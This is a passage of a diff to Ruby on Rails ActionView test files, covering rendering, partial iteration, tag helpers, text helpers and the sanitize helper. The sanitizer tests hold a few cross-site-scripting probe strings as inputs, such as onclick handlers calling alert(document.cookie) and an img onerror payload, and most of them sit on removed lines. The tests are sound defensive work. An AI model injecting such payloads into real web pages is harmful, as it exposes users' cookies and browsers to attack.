+    assert_equal 0, iteration.index, "should be at the first index"
+    assert_equal 3, iteration.size, "should have the size"
+  end
+
+  def test_first_is_true_when_current_is_at_the_first_index
+    iteration = ActionView::PartialIteration.new 3
+    assert iteration.first?, "first when current is 0"
+  end
+
+  def test_first_is_false_unless_current_is_at_the_first_index
+    iteration = ActionView::PartialIteration.new 3
+    iteration.iterate!
+    assert !iteration.first?, "not first when current is 1"
+  end
+
+  def test_last_is_true_when_current_is_at_the_last_index
+    iteration = ActionView::PartialIteration.new 3
+    iteration.iterate!
+    iteration.iterate!
+    assert iteration.last?, "last when current is 2"
+  end
+
+  def test_last_is_false_unless_current_is_at_the_last_index
+    iteration = ActionView::PartialIteration.new 3
+    assert !iteration.last?, "not last when current is 0"
+  end
+end
diff --git a/actionview/test/template/record_identifier_test.rb b/actionview/test/template/record_identifier_test.rb
index 22038110a5..04898c0b0e 100644
--- a/actionview/test/template/record_identifier_test.rb
+++ b/actionview/test/template/record_identifier_test.rb
@@ -9,7 +9,6 @@ class RecordIdentifierTest < ActiveSupport::TestCase
     @record = @klass.new
     @singular = 'comment'
     @plural = 'comments'
-    @uncountable = Sheep
   end
 
   def test_dom_id_with_new_record
@@ -47,3 +46,46 @@ class RecordIdentifierTest < ActiveSupport::TestCase
     assert_equal @singular, ActionView::RecordIdentifier.dom_class(@record)
   end
 end
+
+class RecordIdentifierWithoutActiveModelTest < ActiveSupport::TestCase
+  include ActionView::RecordIdentifier
+
+  def setup
+    @record = Plane.new
+  end
+
+  def test_dom_id_with_new_record
+    assert_equal "new_airplane", dom_id(@record)
+  end
+
+  def test_dom_id_with_new_record_and_prefix
+    assert_equal "custom_prefix_airplane", dom_id(@record, :custom_prefix)
+  end
+
+  def test_dom_id_with_saved_record
+    @record.save
+    assert_equal "airplane_1", dom_id(@record)
+  end
+
+  def test_dom_id_with_prefix
+    @record.save
+    assert_equal "edit_airplane_1", dom_id(@record, :edit)
+  end
+
+  def test_dom_class
+    assert_equal 'airplane', dom_class(@record)
+  end
+
+  def test_dom_class_with_prefix
+    assert_equal "custom_prefix_airplane", dom_class(@record, :custom_prefix)
+  end
+
+  def test_dom_id_as_singleton_method
+    @record.save
+    assert_equal "airplane_1", ActionView::RecordIdentifier.dom_id(@record)
+  end
+
+  def test_dom_class_as_singleton_method
+    assert_equal 'airplane', ActionView::RecordIdentifier.dom_class(@record)
+  end
+end
diff --git a/actionview/test/template/render_test.rb b/actionview/test/template/render_test.rb
index 928dfb092d..f77b81f0ee 100644
--- a/actionview/test/template/render_test.rb
+++ b/actionview/test/template/render_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'abstract_unit'
 require 'controller/fake_models'
 
@@ -12,17 +11,16 @@ module RenderTestCases
     @controller_view = TestController.new.view_context
 
     # Reload and register danish language for testing
-    I18n.reload!
     I18n.backend.store_translations 'da', {}
     I18n.backend.store_translations 'pt-BR', {}
 
     # Ensure original are still the same since we are reindexing view paths
-    assert_equal ORIGINAL_LOCALES, I18n.available_locales.map {|l| l.to_s }.sort
+    assert_equal ORIGINAL_LOCALES, I18n.available_locales.map(&:to_s).sort
   end
 
   def test_render_without_options
     e = assert_raises(ArgumentError) { @view.render() }
-    assert_match "You invoked render but did not give any of :partial, :template, :inline, :file or :text option.", e.message
+    assert_match(/You invoked render but did not give any of (.+) option./, e.message)
   end
 
   def test_render_file
@@ -63,7 +61,7 @@ module RenderTestCases
 
   def test_render_template_with_a_missing_partial_of_another_format
     @view.lookup_context.formats = [:html]
-    assert_raise ActionView::Template::Error, "Missing partial /missing with {:locale=>[:en], :formats=>[:json], :handlers=>[:erb, :builder]}" do
+    assert_raise ActionView::Template::Error, "Missing partial /_missing with {:locale=>[:en], :formats=>[:json], :handlers=>[:erb, :builder]}" do
       @view.render(:template => "with_format", :formats => [:json])
     end
   end
@@ -173,18 +171,12 @@ module RenderTestCases
     assert_equal "only partial", @view.render("test/partial_only", :counter_counter => 5)
   end
 
-  def test_render_partial_with_invalid_name
-    e = assert_raises(ArgumentError) { @view.render(:partial => "test/200") }
-    assert_equal "The partial name (test/200) is not a valid Ruby identifier; " +
-      "make sure your partial name starts with a lowercase letter or underscore, " +
-      "and is followed by any combination of letters, numbers and underscores.", e.message
+  def test_render_partial_with_number
+    assert_nothing_raised { @view.render(:partial => "test/200") }
   end
 
   def test_render_partial_with_missing_filename
-    e = assert_raises(ArgumentError) { @view.render(:partial => "test/") }
-    assert_equal "The partial name (test/) is not a valid Ruby identifier; " +
-      "make sure your partial name starts with a lowercase letter or underscore, " +
-      "and is followed by any combination of letters, numbers and underscores.", e.message
+    assert_raises(ActionView::MissingTemplate) { @view.render(:partial => "test/") }
   end
 
   def test_render_partial_with_incompatible_object
@@ -192,10 +184,25 @@ module RenderTestCases
     assert_equal "'#{nil.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.", e.message
   end
 
+  def test_render_partial_starting_with_a_capital
+    assert_nothing_raised { @view.render(:partial => 'test/FooBar') }
+  end
+
   def test_render_partial_with_hyphen
-    e = assert_raises(ArgumentError) { @view.render(:partial => "test/a-in") }
-    assert_equal "The partial name (test/a-in) is not a valid Ruby identifier; " +
-      "make sure your partial name starts with a lowercase letter or underscore, " +
+    assert_nothing_raised { @view.render(:partial => "test/a-in") }
+  end
+
+  def test_render_partial_with_invalid_option_as
+    e = assert_raises(ArgumentError) { @view.render(:partial => "test/partial_only", :as => 'a-in') }
+    assert_equal "The value (a-in) of the option `as` is not a valid Ruby identifier; " +
+      "make sure it starts with lowercase letter, " +
+      "and is followed by any combination of letters, numbers and underscores.", e.message
+  end
+
+  def test_render_partial_with_hyphen_and_invalid_option_as
+    e = assert_raises(ArgumentError) { @view.render(:partial => "test/a-in", :as => 'a-in') }
+    assert_equal "The value (a-in) of the option `as` is not a valid Ruby identifier; " +
+      "make sure it starts with lowercase letter, " +
       "and is followed by any combination of letters, numbers and underscores.", e.message
   end
 
@@ -257,7 +264,7 @@ module RenderTestCases
   end
 
   def test_render_partial_collection_without_as
-    assert_equal "local_inspector,local_inspector_counter",
+    assert_equal "local_inspector,local_inspector_counter,local_inspector_iteration",
       @view.render(:partial => "test/local_inspector", :collection => [ Customer.new("mary") ])
   end
 
@@ -304,6 +311,16 @@ module RenderTestCases
     assert_equal "Hola: david", @controller_view.render('customer_greeting', :greeting => 'Hola', :customer_greeting => Customer.new("david"))
   end
 
+  def test_render_partial_with_object_uses_render_partial_path
+    assert_equal "Hello: lifo",
+      @controller_view.render(:partial => Customer.new("lifo"), :locals => {:greeting => "Hello"})
+  end
+
+  def test_render_partial_with_object_and_format_uses_render_partial_path
+    assert_equal "<greeting>Hello</greeting><name>lifo</name>",
+      @controller_view.render(:partial => Customer.new("lifo"), :formats => :xml, :locals => {:greeting => "Hello"})
+  end
+
   def test_render_partial_using_object
     assert_equal "Hello: lifo",
       @controller_view.render(Customer.new("lifo"), :greeting => "Hello")
@@ -315,11 +332,16 @@ module RenderTestCases
       @controller_view.render(customers, :greeting => "Hello")
   end
 
+  def test_render_partial_using_collection_without_path
+    assert_equal "hi good customer: david0", @controller_view.render([ GoodCustomer.new("david") ], greeting: "hi")
+  end
+
   def test_render_partial_without_object_or_collection_does_not_generate_partial_name_local_variable
     exception = assert_raises ActionView::Template::Error do
       @controller_view.render("partial_name_local_variable")
     end
-    assert_match "undefined local variable or method `partial_name_local_variable'", exception.message
+    assert_instance_of NameError, exception.original_exception
+    assert_equal :partial_name_local_variable, exception.original_exception.name
   end
 
   # TODO: The reason for this test is unclear, improve documentation
@@ -359,29 +381,54 @@ module RenderTestCases
 
   def test_render_inline_with_render_from_to_proc
     ActionView::Template.register_template_handler :ruby_handler, :source.to_proc
-    assert_equal '3', @view.render(:inline => "(1 + 2).to_s", :type => :ruby_handler)
+    assert_equal '3', @view.render(inline: "(1 + 2).to_s", type: :ruby_handler)
+  ensure
+    ActionView::Template.unregister_template_handler :ruby_handler
   end
 
   def test_render_inline_with_compilable_custom_type
     ActionView::Template.register_template_handler :foo, CustomHandler
-    assert_equal 'source: "Hello, World!"', @view.render(:inline => "Hello, World!", :type => :foo)
+    assert_equal 'source: "Hello, World!"', @view.render(inline: "Hello, World!", type: :foo)
+  ensure
+    ActionView::Template.unregister_template_handler :foo
   end
 
   def test_render_inline_with_locals_and_compilable_custom_type
     ActionView::Template.register_template_handler :foo, CustomHandler
-    assert_equal 'source: "Hello, <%= name %>!"', @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" }, :type => :foo)
+    assert_equal 'source: "Hello, <%= name %>!"', @view.render(inline: "Hello, <%= name %>!", locals: { name: "Josh" }, type: :foo)
+  ensure
+    ActionView::Template.unregister_template_handler :foo
+  end
+
+  def test_render_body
+    assert_equal 'some body', @view.render(body: 'some body')
+  end
+
+  def test_render_plain
+    assert_equal 'some plaintext', @view.render(plain: 'some plaintext')
   end
 
   def test_render_knows_about_types_registered_when_extensions_are_checked_earlier_in_initialization
     ActionView::Template::Handlers.extensions
     ActionView::Template.register_template_handler :foo, CustomHandler
     assert ActionView::Template::Handlers.extensions.include?(:foo)
+  ensure
+    ActionView::Template.unregister_template_handler :foo
+  end
+
+  def test_render_does_not_use_unregistered_extension_and_template_handler
+    ActionView::Template.register_template_handler :foo, CustomHandler
+    ActionView::Template.unregister_template_handler :foo
+    assert_not ActionView::Template::Handlers.extensions.include?(:foo)
+    assert_equal "Hello, World!", @view.render(inline: "Hello, World!", type: :foo)
+  ensure
+    ActionView::Template::Handlers.class_variable_get(:@@template_handlers).delete(:foo)
   end
 
   def test_render_ignores_templates_with_malformed_template_handlers
     ActiveSupport::Deprecation.silence do
       %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name|
-        assert File.exists?(File.expand_path("#{FIXTURE_LOAD_PATH}/test/malformed/#{name}~")), "Malformed file (#{name}~) which should be ignored does not exists"
+        assert File.exist?(File.expand_path("#{FIXTURE_LOAD_PATH}/test/malformed/#{name}~")), "Malformed file (#{name}~) which should be ignored does not exists"
         assert_raises(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") }
       end
     end
@@ -427,6 +474,11 @@ module RenderTestCases
       @view.render(:partial => 'test/partial_with_partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
   end
 
+  def test_render_partial_shortcut_with_block_content
+    assert_equal %(Before (shortcut test)\nBefore\n\n  Yielded: arg1/arg2\n\nAfter\nAfter),
+      @view.render(partial: "test/partial_shortcut_with_block_content", layout: "test/layout_for_partial", locals: { name: "shortcut test" })
+  end
+
   def test_render_layout_with_a_nested_render_layout_call
     assert_equal %(Before (Foo!)\nBefore (Bar!)\npartial html\nAfter\npartial with layout\n\nAfter),
       @view.render(:partial => 'test/partial_with_layout', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
@@ -444,7 +496,7 @@ module RenderTestCases
 
   def test_render_partial_with_layout_raises_descriptive_error
     e = assert_raises(ActionView::MissingTemplate) { @view.render(partial: 'test/partial', layout: true) }
-    assert_match "Missing partial /true with", e.message
+    assert_match "Missing partial /_true with", e.message
   end
 
   def test_render_with_nested_layout
@@ -464,7 +516,9 @@ module RenderTestCases
 
   def test_render_with_passing_couple_extensions_to_one_register_template_handler_function_call
     ActionView::Template.register_template_handler :foo1, :foo2, CustomHandler
-    assert_equal @view.render(:inline => "Hello, World!", :type => :foo1), @view.render(:inline => "Hello, World!", :type => :foo2)
+    assert_equal @view.render(inline: "Hello, World!", type: :foo1), @view.render(inline: "Hello, World!", type: :foo2)
+  ensure
+    ActionView::Template.unregister_template_handler :foo1, :foo2
   end
 
   def test_render_throws_exception_when_no_extensions_passed_to_register_template_handler_function_call
@@ -484,6 +538,7 @@ class CachedViewRenderTest < ActiveSupport::TestCase
 
   def teardown
     GC.start
+    I18n.reload!
   end
 end
 
@@ -501,6 +556,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase
 
   def teardown
     GC.start
+    I18n.reload!
   end
 
   def test_render_utf8_template_with_magic_comment
diff --git a/actionview/test/template/resolver_patterns_test.rb b/actionview/test/template/resolver_patterns_test.rb
index 97b1bad055..575eb9bd28 100644
--- a/actionview/test/template/resolver_patterns_test.rb
+++ b/actionview/test/template/resolver_patterns_test.rb
@@ -20,7 +20,7 @@ class ResolverPatternsTest < ActiveSupport::TestCase
     assert_equal [:html],                  templates.first.formats
   end
 
-  def test_should_return_all_templates_when_ambigous_pattern
+  def test_should_return_all_templates_when_ambiguous_pattern
     templates = @resolver.find_all("another", "custom_pattern", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
     assert_equal 2, templates.size, "expected two templates"
     assert_equal "Another template!",      templates[0].source
diff --git a/actionview/test/template/sanitize_helper_test.rb b/actionview/test/template/sanitize_helper_test.rb
index 12d5260a9d..e4be21be2c 100644
--- a/actionview/test/template/sanitize_helper_test.rb
+++ b/actionview/test/template/sanitize_helper_test.rb
@@ -1,19 +1,15 @@
 require 'abstract_unit'
 
 # The exhaustive tests are in test/controller/html/sanitizer_test.rb.
-# This tests the that the helpers hook up correctly to the sanitizer classes.
+# This tests that the helpers hook up correctly to the sanitizer classes.
 class SanitizeHelperTest < ActionView::TestCase
   tests ActionView::Helpers::SanitizeHelper
 
   def test_strip_links
     assert_equal "Dont touch me", strip_links("Dont touch me")
-    assert_equal "<a<a", strip_links("<a<a")
     assert_equal "on my mind\nall day long", strip_links("<a href='almost'>on my mind</a>\n<A href='almost'>all day long</A>")
-    assert_equal "0wn3d", strip_links("<a href='http://www.rubyonrails.com/'><a href='http://www.rubyonrails.com/' onlclick='steal()'>0wn3d</a></a>")
     assert_equal "Magic", strip_links("<a href='http://www.rubyonrails.com/'>Mag<a href='http://www.ruby-lang.org/'>ic")
-    assert_equal "FrrFox", strip_links("<href onlclick='steal()'>FrrFox</a></href>")
     assert_equal "My mind\nall <b>day</b> long", strip_links("<a href='almost'>My mind</a>\n<A href='almost'>all <b>day</b> long</A>")
-    assert_equal "all <b>day</b> long", strip_links("<<a>a href='hello'>all <b>day</b> long<</A>/a>")
   end
 
   def test_sanitize_form
@@ -22,27 +18,15 @@ class SanitizeHelperTest < ActionView::TestCase
 
   def test_should_sanitize_illegal_style_properties
     raw      = %(display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;)
-    expected = %(display: block; width: 100%; height: 100%; background-color: black; background-image: ; background-x: center; background-y: center;)
+    expected = %(display: block; width: 100%; height: 100%; background-color: black; background-x: center; background-y: center;)
     assert_equal expected, sanitize_css(raw)
   end
 
   def test_strip_tags
-    assert_equal("<<<bad html", strip_tags("<<<bad html"))
-    assert_equal("<<", strip_tags("<<<bad html>"))
     assert_equal("Dont touch me", strip_tags("Dont touch me"))
     assert_equal("This is a test.", strip_tags("<p>This <u>is<u> a <a href='test.html'><strong>test</strong></a>.</p>"))
-    assert_equal("Weirdos", strip_tags("Wei<<a>a onclick='alert(document.cookie);'</a>/>rdos"))
-    assert_equal("This is a test.", strip_tags("This is a test."))
-    assert_equal(
-    %{This is a test.\n\n\nIt no longer contains any HTML.\n}, strip_tags(
-    %{<title>This is <b>a <a href="" target="_blank">test</a></b>.</title>\n\n<!-- it has a comment -->\n\n<p>It no <b>longer <strong>contains <em>any <strike>HTML</strike></em>.</strong></b></p>\n}))
     assert_equal "This has a  here.", strip_tags("This has a <!-- comment --> here.")
-    [nil, '', '   '].each do |blank|
-      stripped = strip_tags(blank)
-      assert_equal blank, stripped
-    end
     assert_equal "", strip_tags("<script>")
-    assert_equal "something &lt;img onerror=alert(1337)", ERB::Util.html_escape(strip_tags("something <img onerror=alert(1337)"))
   end
 
   def test_sanitize_is_marked_safe
diff --git a/actionview/test/template/streaming_render_test.rb b/actionview/test/template/streaming_render_test.rb
index 8a24d78e74..ec537775be 100644
--- a/actionview/test/template/streaming_render_test.rb
+++ b/actionview/test/template/streaming_render_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'abstract_unit'
 
 class TestController < ActionController::Base
diff --git a/actionview/test/template/tag_helper_test.rb b/actionview/test/template/tag_helper_test.rb
index 802da5d566..d037447567 100644
--- a/actionview/test/template/tag_helper_test.rb
+++ b/actionview/test/template/tag_helper_test.rb
@@ -50,6 +50,11 @@ class TagHelperTest < ActionView::TestCase
     assert_dom_equal "<div>Hello world!</div>", buffer
   end
 
+  def test_content_tag_with_block_in_erb_containing_non_displayed_erb
+    buffer = render_erb("<%= content_tag(:p) do %><% 1 %><% end %>")
+    assert_dom_equal "<p></p>", buffer
+  end
+
   def test_content_tag_with_block_and_options_in_erb
     buffer = render_erb("<%= content_tag(:div, :class => 'green') do %>Hello world!<% end %>")
     assert_dom_equal %(<div class="green">Hello world!</div>), buffer
@@ -64,6 +69,11 @@ class TagHelperTest < ActionView::TestCase
                  content_tag("a", "href" => "create") { "Create" }
   end
 
+  def test_content_tag_with_block_and_non_string_outside_out_of_erb
+    assert_equal content_tag("p"),
+                 content_tag("p") { 3.times { "do_something" } }
+  end
+
   def test_content_tag_nested_in_content_tag_out_of_erb
     assert_equal content_tag("p", content_tag("b", "Hello")),
                  content_tag("p") { content_tag("b", "Hello") },
@@ -80,11 +90,27 @@ class TagHelperTest < ActionView::TestCase
 
     str = content_tag('p', "limelight", :class => ["song", "play"])
     assert_equal "<p class=\"song play\">limelight</p>", str
+
+    str = content_tag('p', "limelight", :class => ["song", ["play"]])
+    assert_equal "<p class=\"song play\">limelight</p>", str
   end
 
   def test_content_tag_with_unescaped_array_class
     str = content_tag('p', "limelight", {:class => ["song", "play>"]}, false)
     assert_equal "<p class=\"song play>\">limelight</p>", str
+
+    str = content_tag('p', "limelight", {:class => ["song", ["play>"]]}, false)
+    assert_equal "<p class=\"song play>\">limelight</p>", str
+  end
+
+  def test_content_tag_with_empty_array_class
+    str = content_tag('p', 'limelight', {:class => []})
+    assert_equal '<p class="">limelight</p>', str
+  end
+
+  def test_content_tag_with_unescaped_empty_array_class
+    str = content_tag('p', 'limelight', {:class => []}, false)
+    assert_equal '<p class="">limelight</p>', str
   end
 
   def test_content_tag_with_data_attributes
@@ -96,6 +122,10 @@ class TagHelperTest < ActionView::TestCase
     assert_equal "<![CDATA[<hello world>]]>", cdata_section("<hello world>")
   end
 
+  def test_cdata_section_with_string_conversion
+    assert_equal "<![CDATA[]]>", cdata_section(nil)
+  end
+
   def test_cdata_section_splitted
     assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]>", cdata_section("hello]]>world")
     assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]]]><![CDATA[>again]]>", cdata_section("hello]]>world]]>again")
@@ -103,6 +133,7 @@ class TagHelperTest < ActionView::TestCase
 
   def test_escape_once
     assert_equal '1 &lt; 2 &amp; 3', escape_once('1 < 2 &amp; 3')
+    assert_equal " &#X27; &#x27; &#x03BB; &#X03bb; &quot; &#39; &lt; &gt; ", escape_once(" &#X27; &#x27; &#x03BB; &#X03bb; \" ' < > ")
   end
 
   def test_tag_honors_html_safe_for_param_values
@@ -111,6 +142,14 @@ class TagHelperTest < ActionView::TestCase
     end
   end
 
+  def test_tag_honors_html_safe_with_escaped_array_class
+    str = tag('p', :class => ['song>', 'play>'.html_safe])
+    assert_equal '<p class="song&gt; play>" />', str
+
+    str = tag('p', :class => ['song>'.html_safe, 'play>'])
+    assert_equal '<p class="song> play&gt;" />', str
+  end
+
   def test_skip_invalid_escaped_attributes
     ['&1;', '&#1dfa3;', '& #123;'].each do |escaped|
       assert_equal %(<a href="#{escaped.gsub(/&/, '&amp;')}" />), tag('a', :href => escaped)
@@ -127,4 +166,11 @@ class TagHelperTest < ActionView::TestCase
         tag('a', { data => { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: 'hello', symbol: :foo, array: [1, 2, 3], hash: { key: 'value'}, string_with_quotes: 'double"quote"party"' } })
     }
   end
+
+  def test_aria_attributes
+    ['aria', :aria].each { |aria|
+      assert_dom_equal '<a aria-a-float="3.14" aria-a-big-decimal="-123.456" aria-a-number="1" aria-array="[1,2,3]" aria-hash="{&quot;key&quot;:&quot;value&quot;}" aria-string-with-quotes="double&quot;quote&quot;party&quot;" aria-string="hello" aria-symbol="foo" />',
+        tag('a', { aria => { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: 'hello', symbol: :foo, array: [1, 2, 3], hash: { key: 'value'}, string_with_quotes: 'double"quote"party"' } })
+    }
+  end
 end
diff --git a/actionview/test/template/template_error_test.rb b/actionview/test/template/template_error_test.rb
index 91424daeed..3971ec809c 100644
--- a/actionview/test/template/template_error_test.rb
+++ b/actionview/test/template/template_error_test.rb
@@ -6,6 +6,13 @@ class TemplateErrorTest < ActiveSupport::TestCase
     assert_equal "original", error.message
   end
 
+  def test_provides_original_backtrace
+    original_exception = Exception.new
+    original_exception.set_backtrace(%W[ foo bar baz ])
+    error = ActionView::Template::Error.new("test", original_exception)
+    assert_equal %W[ foo bar baz ], error.backtrace
+  end
+
   def test_provides_useful_inspect
     error = ActionView::Template::Error.new("test", Exception.new("original"))
     assert_equal "#<ActionView::Template::Error: original>", error.inspect
diff --git a/actionview/test/template/test_case_test.rb b/actionview/test/template/test_case_test.rb
index 4ee0930341..5ad1938b61 100644
--- a/actionview/test/template/test_case_test.rb
+++ b/actionview/test/template/test_case_test.rb
@@ -1,4 +1,5 @@
 require 'abstract_unit'
+require 'rails/engine'
 
 module ActionView
 
@@ -154,7 +155,7 @@ module ActionView
     test "view_assigns excludes internal ivars" do
       INTERNAL_IVARS.each do |ivar|
         assert defined?(ivar), "expected #{ivar} to be defined"
-        assert !view_assigns.keys.include?(ivar.to_s.sub('@', '').to_sym), "expected #{ivar} to be excluded from view_assigns"
+        assert !view_assigns.keys.include?(ivar.to_s.tr('@', '').to_sym), "expected #{ivar} to be excluded from view_assigns"
       end
     end
   end
@@ -223,7 +224,7 @@ module ActionView
 
     test "is able to use mounted routes" do
       with_routing do |set|
-        app = Class.new do
+        app = Class.new(Rails::Engine) do
           def self.routes
             @routes ||= ActionDispatch::Routing::RouteSet.new
           end
@@ -292,6 +293,17 @@ module ActionView
         assert_select 'li', :text => 'foo'
       end
     end
+
+    test "do not memoize the document_root_element in view tests" do
+      concat form_tag('/foo')
+
+      assert_select 'form'
+
+      concat content_tag(:b, 'Strong', class: 'foo')
+
+      assert_select 'form'
+      assert_select 'b.foo'
+    end
   end
 
   class RenderTemplateTest < ActionView::TestCase
diff --git a/actionview/test/template/test_test.rb b/actionview/test/template/test_test.rb
index 108a674d95..88bac85039 100644
--- a/actionview/test/template/test_test.rb
+++ b/actionview/test/template/test_test.rb
@@ -37,10 +37,22 @@ class PeopleHelperTest < ActionView::TestCase
 
   def test_link_to_person
     with_test_route_set do
-      person = mock(:name => "David")
-      person.class.extend ActiveModel::Naming
-      expects(:mocha_mock_path).with(person).returns("/people/1")
+      person = Struct.new(:name) {
+        extend ActiveModel::Naming
+        def to_model; self; end
+        def persisted?; true; end
+        def self.name; 'Mocha::Mock'; end
+      }.new "David"
+
+      the_model = nil
+      extend Module.new {
+        define_method(:mocha_mock_path) { |model, *args|
+          the_model = model
+          "/people/1"
+        }
+      }
       assert_equal '<a href="/people/1">David</a>', link_to_person(person)
+      assert_equal person, the_model
     end
   end
 
diff --git a/actionview/test/template/testing/fixture_resolver_test.rb b/actionview/test/template/testing/fixture_resolver_test.rb
index 9649f349cb..d6cfa997cd 100644
--- a/actionview/test/template/testing/fixture_resolver_test.rb
+++ b/actionview/test/template/testing/fixture_resolver_test.rb
@@ -3,13 +3,13 @@ require 'abstract_unit'
 class FixtureResolverTest < ActiveSupport::TestCase
   def test_should_return_empty_list_for_unknown_path
     resolver = ActionView::FixtureResolver.new()
-    templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => []})
+    templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :variants => [], :handlers => []})
     assert_equal [], templates, "expected an empty list of templates"
   end
 
   def test_should_return_template_for_declared_path
     resolver = ActionView::FixtureResolver.new("arbitrary/path.erb" => "this text")
-    templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
+    templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :variants => [], :handlers => [:erb]})
     assert_equal 1, templates.size, "expected one template"
     assert_equal "this text",      templates.first.source
     assert_equal "arbitrary/path", templates.first.virtual_path
diff --git a/actionview/test/template/text_helper_test.rb b/actionview/test/template/text_helper_test.rb
index 1b2234f4e2..f1b84c4786 100644
--- a/actionview/test/template/text_helper_test.rb
+++ b/actionview/test/template/text_helper_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'abstract_unit'
 
 class TextHelperTest < ActionView::TestCase
@@ -21,6 +20,11 @@ class TextHelperTest < ActionView::TestCase
     assert simple_format("<b> test with html tags </b>").html_safe?
   end
 
+  def test_simple_format_included_in_isolation
+    helper_klass = Class.new { include ActionView::Helpers::TextHelper }
+    assert helper_klass.new.simple_format("<b> test with html tags </b>").html_safe?
+  end
+
   def test_simple_format
     assert_equal "<p></p>", simple_format(nil)
 
@@ -42,6 +46,11 @@ class TextHelperTest < ActionView::TestCase
     assert_equal "<p><b> test with unsafe string </b></p>", simple_format("<b> test with unsafe string </b><script>code!</script>")
   end
 
+  def test_simple_format_should_sanitize_input_when_sanitize_option_is_true
+    assert_equal '<p><b> test with unsafe string </b></p>',
+      simple_format('<b> test with unsafe string </b><script>code!</script>', {}, sanitize: true)
+  end
+
   def test_simple_format_should_not_sanitize_input_when_sanitize_option_is_false
     assert_equal "<p><b> test with unsafe string </b><script>code!</script></p>", simple_format("<b> test with unsafe string </b><script>code!</script>", {}, :sanitize => false)
   end
@@ -177,10 +186,16 @@ class TextHelperTest < ActionView::TestCase
       "This text is not changed because we supplied an empty phrase",
       highlight("This text is not changed because we supplied an empty phrase", nil)
     )
+  end
 
+  def test_highlight_pending
     assert_equal '   ', highlight('   ', 'blank text is returned verbatim')
   end
 
+  def test_highlight_should_return_blank_string_for_nil
+    assert_equal '', highlight(nil, 'blank string is returned for nil')
+  end
+
   def test_highlight_should_sanitize_input
     assert_equal(
       "This is a <mark>beautiful</mark> morning",
@@ -212,6 +227,11 @@ class TextHelperTest < ActionView::TestCase
     )
   end
 
+  def test_highlight_accepts_regexp
+    assert_equal("This day was challenging for judge <mark>Allen</mark> and his colleagues.",
+                 highlight("This day was challenging for judge Allen and his colleagues.", /\ballen\b/i))
+  end
+
   def test_highlight_with_multiple_phrases_in_one_pass
     assert_equal %(<em>wow</em> <em>em</em>), highlight('wow em', %w(wow em), :highlighter => '<em>\1</em>')
   end
@@ -250,6 +270,13 @@ class TextHelperTest < ActionView::TestCase
     assert_equal options, passed_options
   end
 
+  def test_highlight_with_block
+    assert_equal(
+      "<b>one</b> <b>two</b> <b>three</b>",
+      highlight("one two three", ["one", "two", "three"]) { |word| "<b>#{word}</b>" }
+    )
+  end
+
   def test_excerpt
     assert_equal("...is a beautiful morn...", excerpt("This is a beautiful morning", "beautiful", :radius => 5))
     assert_equal("This is a...", excerpt("This is a beautiful morning", "this", :radius => 5))
@@ -257,6 +284,16 @@ class TextHelperTest < ActionView::TestCase
     assert_nil excerpt("This is a beautiful morning", "day")
   end
 
+  def test_excerpt_with_regex
+    assert_equal('...is a beautiful! mor...', excerpt('This is a beautiful! morning', 'beautiful', :radius => 5))
+    assert_equal('...is a beautiful? mor...', excerpt('This is a beautiful? morning', 'beautiful', :radius => 5))
+    assert_equal('...is a beautiful? mor...', excerpt('This is a beautiful? morning', /\bbeau\w*\b/i, :radius => 5))
+    assert_equal('...is a beautiful? mor...', excerpt('This is a beautiful? morning', /\b(beau\w*)\b/i, :radius => 5))
+    assert_equal("...udge Allen and...", excerpt("This day was challenging for judge Allen and his colleagues.", /\ballen\b/i, :radius => 5))
+    assert_equal("...judge Allen and...", excerpt("This day was challenging for judge Allen and his colleagues.", /\ballen\b/i, :radius => 1, :separator => ' '))
+    assert_equal("...was challenging for...", excerpt("This day was challenging for judge Allen and his colleagues.", /\b(\w*allen\w*)\b/i, :radius => 5))
+  end
+
   def test_excerpt_should_not_be_html_safe
     assert !excerpt('This is a beautiful! morning', 'beautiful', :radius => 5).html_safe?
   end
@@ -278,11 +315,6 @@ class TextHelperTest < ActionView::TestCase
     assert_equal("...abc...", excerpt("z  abc  d", "b", :radius => 1))
   end
 
-  def test_excerpt_with_regex
-    assert_equal('...is a beautiful! mor...', excerpt('This is a beautiful! morning', 'beautiful', :radius => 5))
-    assert_equal('...is a beautiful? mor...', excerpt('This is a beautiful? morning', 'beautiful', :radius => 5))
-  end
-
   def test_excerpt_with_omission
     assert_equal("[...]is a beautiful morn[...]", excerpt("This is a beautiful morning", "beautiful", :omission => "[...]",:radius => 5))
     assert_equal(
@@ -314,6 +346,9 @@ class TextHelperTest < ActionView::TestCase
 
     options = { :separator => "\n", :radius => 1 }
     assert_equal("...very\nvery long\nstring", excerpt("my very\nvery\nvery long\nstring", 'long', options))
+
+    assert_equal excerpt('This is a beautiful morning', 'a'),
+                 excerpt('This is a beautiful morning', 'a', separator: nil)
   end
 
   def test_word_wrap
@@ -373,6 +408,13 @@ class TextHelperTest < ActionView::TestCase
     assert_equal("3", cycle("one", 2, "3"))
   end
 
+  def test_cycle_with_array
+    array = [1, 2, 3]
+    assert_equal("1", cycle(array))
+    assert_equal("2", cycle(array))
+    assert_equal("3", cycle(array))
+  end
+
   def test_cycle_with_no_arguments
     assert_raise(ArgumentError) { cycle }
   end
@@ -447,7 +489,7 @@ class TextHelperTest < ActionView::TestCase
     reset_cycle("colors")
   end
 
-  def test_recet_named_cycle
